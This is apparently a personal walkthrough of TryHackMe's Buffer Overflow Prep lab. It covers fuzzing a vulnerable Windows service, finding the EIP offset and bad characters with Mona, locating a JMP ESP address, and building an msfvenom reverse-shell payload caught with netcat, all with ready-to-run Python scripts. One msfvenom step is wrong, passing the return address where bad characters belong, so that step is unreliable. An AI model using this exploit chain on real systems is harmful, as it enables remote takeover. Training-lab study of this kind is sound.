A “buffer overflow” is like overfilling a glass of water: too much data poured into limited memory overflows, causing errors or exploitable security flaws.
Prerequisites
Immunity Debugger (Victim Machine)
Immunity Debugger is software used to analyze what is happening in the system when performing a buffer overflow attack.
Vulnerable App (Victim Machine)
The vulnerable app could be a .exe
, which we will exploit using the buffer overflow attack.
Attacker Machine
A machine from which you are going to perform the attack.
Connection
First and foremost, we need to connect to our target/victim machine. In my case, I’m working with the TryHackMe BufferOverflow prep
room, so to connect, we have to start Immunity Debugger and launch the vulnerable app via: File > Open > vulnerable_app.exe
. It should look like this:
Next, we need to start the app, either by:
- Pressing the little red play button
- Or by going to
Debug > Run
Normally, the rectangle at the bottom right should now show Running
In my case, the app is running on <ip> 1337
, and to connect, I need to establish a connection using netcat from my attacker machine:
My connection is all set up, let’s get to hacking now!!!
Mona Config
Mona is a built-in plugin in Immunity Debugger which helps us find results/go faster in our exploitation. You can interact with Mona at the bottom, there is an input; Mona commands start with !mona <command>
To make it easier, we’re going to configure a working folder
with Mona, you can do this by entering the command:
!mona config -set workingfolder c:\mona\%p
Fuzzing
The next part is called fuzzing, it’s a software testing technique that involves injecting random or malformed input data to detect bugs, crashes, or security vulnerabilities. In our case, we’re going to send packets of 100 bytes
, and see at which range the app crashes. On your attacker machine, you can create a script fuzzer.py
and paste the following code:
#!/usr/bin/env python3
import socket, time, sys
ip = "YOUR MACHINE IP"
port = PORT
timeout = 5
prefix = "OVERFLOW1 " # In my case,its OVERFLOW1 (because its a tryhackme room)
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
(Or you can download the file directly from here:
https://artyeth06.github.io/useful-files/fuzzer.py) Make sure to replace with your own information.
You can now start the script!
Take a note of the range where the app crashes!
In my example, the app crashed at 2000 bytes.
Cyclic Pattern
Now that we have the range, we need to generate a cyclic pattern. Here’s a definition from Google:
A cyclic pattern, also known as a De Bruijn sequence, is a sequence of characters that is generated in such a way that every possible combination of a certain length of characters appears exactly once. It’s frequently used in software testing and debugging, specifically in buffer overflow exploitation.
In other words, it will help us to determine the offset of the vulnerable app. To generate a cyclic pattern for our vulnerable app, we can use the following command:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <APP CRASHED BYTES> + 400
It will generate a list of characters which should look like this:
Offset
Now that we generated our cyclic pattern,we need to find the offset (wich will help us to control the vulnerable app).
To do so,we can create a exploit.py
script:
import socket
ip = "YOUR MACHINE IP"
port = PORT
prefix = "OVERFLOW1 " #Again this is in my case
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Paste the cyclic pattern that we generated"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
(Or you can directly dowload it from this link: https://artyeth06.github.io/useful-files/exploit.py) We can now run this script (with the vulnerable app running)
You will see that the app crashes, which is normal:
Now, the final step to find the offset of the vulnerable app is to use this command:
!mona findmsp -distance <crashed_at + 400>
And then, you will normally see a line that looks like this:
EIP contains normal pattern : ... (offset XXXX)
In my case:
Now, to verify that we have the correct offset, we can modify the exploit.py
script with the following changes:
- Set payload back to empty
- Set the offset at your offset value (in my case
1978
) - Set the rtn to
BBBB
Restart the vulnerable app and launch your exploit.py
script.
The program has crashed (again…). We are looking for the EIP register value
to be 42424242
. But why is that?
In ASCII, the representation of B is 42 (So, B is the answer to everything?)
We have now confirmed that we have the correct offset!
Finding Bad Characters
Setting up Mona
The next step is to find what we call bad characters
(characters that are considered harmful to the program, and thus, if our payload contains these characters the program will fail to execute)
We will need the help of Mona to create a file called bytearray.bin which is the file that contains the bad characters.
By default, \x00 is the first bad character.
To create the file we can use the following command (restart the app before doing it):
!mona bytearray -b "\x00"
List of Bad Characters
We have to create a list of bad characters (from \x01 to \xff). We can create a badchar.py
script:
python
for x in range(1, 256): print("\\x" + "{:02x}".format(x), end='') print()
(Or you can download it from this link:
https://artyeth06.github.io/useful-files/badchar.py) Run the script to generate the list of bad chars:
Put this list in the payload variable.
Exploit
Re-run the exploit.py
script, and note the ESP register value
.
Finding Bad Characters
Now, to find bad characters, we have to use the following command with Mona once again:
!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP register value>
We now have the list of possible bad characters!
Removing Bad Characters
To remove the bad characters, you have to follow these steps:
- Restart the Vulnerable App
- Add the “next bad characters” in the bytearrayfile
!mona bytearray -b "\x00\xXX"
- Remove the bad characters from the payload list
- Re-run the exploit
- Note the ESP address
- Compare with Mona
!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP register value>
- Repeat all these steps until you get a message that you removed all the bad chars:
Finding the Jump Point
A “jump point” refers to a specific location in memory that an attacker aims to overwrite with a new address to divert the program’s execution flow. When a buffer overflow occurs, excessive data can overflow the buffer, and overwrite adjacent memory locations, including important pointers and return addresses.
To find the jump point, you can use the following command:
!mona jmp -r esp -cpb “Bad_char_list”
In my case 0x625011af
. We now have to convert the string to Little Endian format (to be able to use it in our script)
Here is a script to convert to Little Endian Format
import sys
def hex_to_little_endian(hex_string):
# Supprime le préfixe "0x" de la chaîne hexadécimale si présent
hex_string = hex_string.replace("0x", "")
# Vérifie que la longueur de la chaîne est paire (nombre pair d'octets)
if len(hex_string) % 2 != 0:
raise ValueError("Invalid hex string. The length must be even.")
# Convertit la chaîne hexadécimale en une séquence d'octets
byte_sequence = bytes.fromhex(hex_string)
# Inverse la séquence d'octets pour obtenir le format Little Endian
little_endian_bytes = byte_sequence[::-1]
# Formatte la séquence d'octets avec "\x" tous les deux caractères
formatted_bytes = b"".join([b"\\x" + format(byte, "02x").encode() for byte in little_endian_bytes])
return formatted_bytes
if __name__ == "__main__":
# Vérifie si l'option -s et la chaîne hexadécimale sont spécifiées en ligne de commande
if len(sys.argv) != 3 or sys.argv[1] != "-s":
print("Usage: python script.py -s <hex_string>")
sys.exit(1)
# Récupère la chaîne hexadécimale passée en argument
hex_string = sys.argv[2]
try:
# Appelle la fonction de conversion et affiche le résultat
little_endian_result = hex_to_little_endian(hex_string)
print("Input Hex String:", hex_string)
print("Little Endian Bytes:", little_endian_result.decode())
except ValueError as e:
print("Error:", e)
(Or, you can directly download the script from this link: https://artyeth06.github.io/useful-files/little_endian.py)
0x625011af
corresponds to \xaf\x11\x50\x62
in Little Endian Format
Generating Payload
We now have to generate a final payload to take over the victim machine. We are going to use msfvenom to create this payload:
(Make sure that msfvenom is installed on your machine)
msfvenom -p windows/shell_reverse_tcp LHOST=<Kali VPN IP> LPORT=4444 EXITFUNC=thread -b “LITTLE_ENDIAN_STRING” -f c
We now have to modify our exploit.py
script:
- Set the rtn to the Little Endian String
- Set padding to
"\x90" * 16
- Set payload to the msfvenom generated payload
Get the Reverse Shell
We now just need to listen on port 4444
(the port we set in msfvenom), with netcat:
nc -lvnp 4444
And the last thing: run the exploit.py
script. And now we got a Reverse Shell!
Credits
TryHackMe for some inspiration and for the Buffer Overflow prep room. vinayakagrawal95 for his Medium post which helped me get through the first box and for some inspiration about the cheat sheet.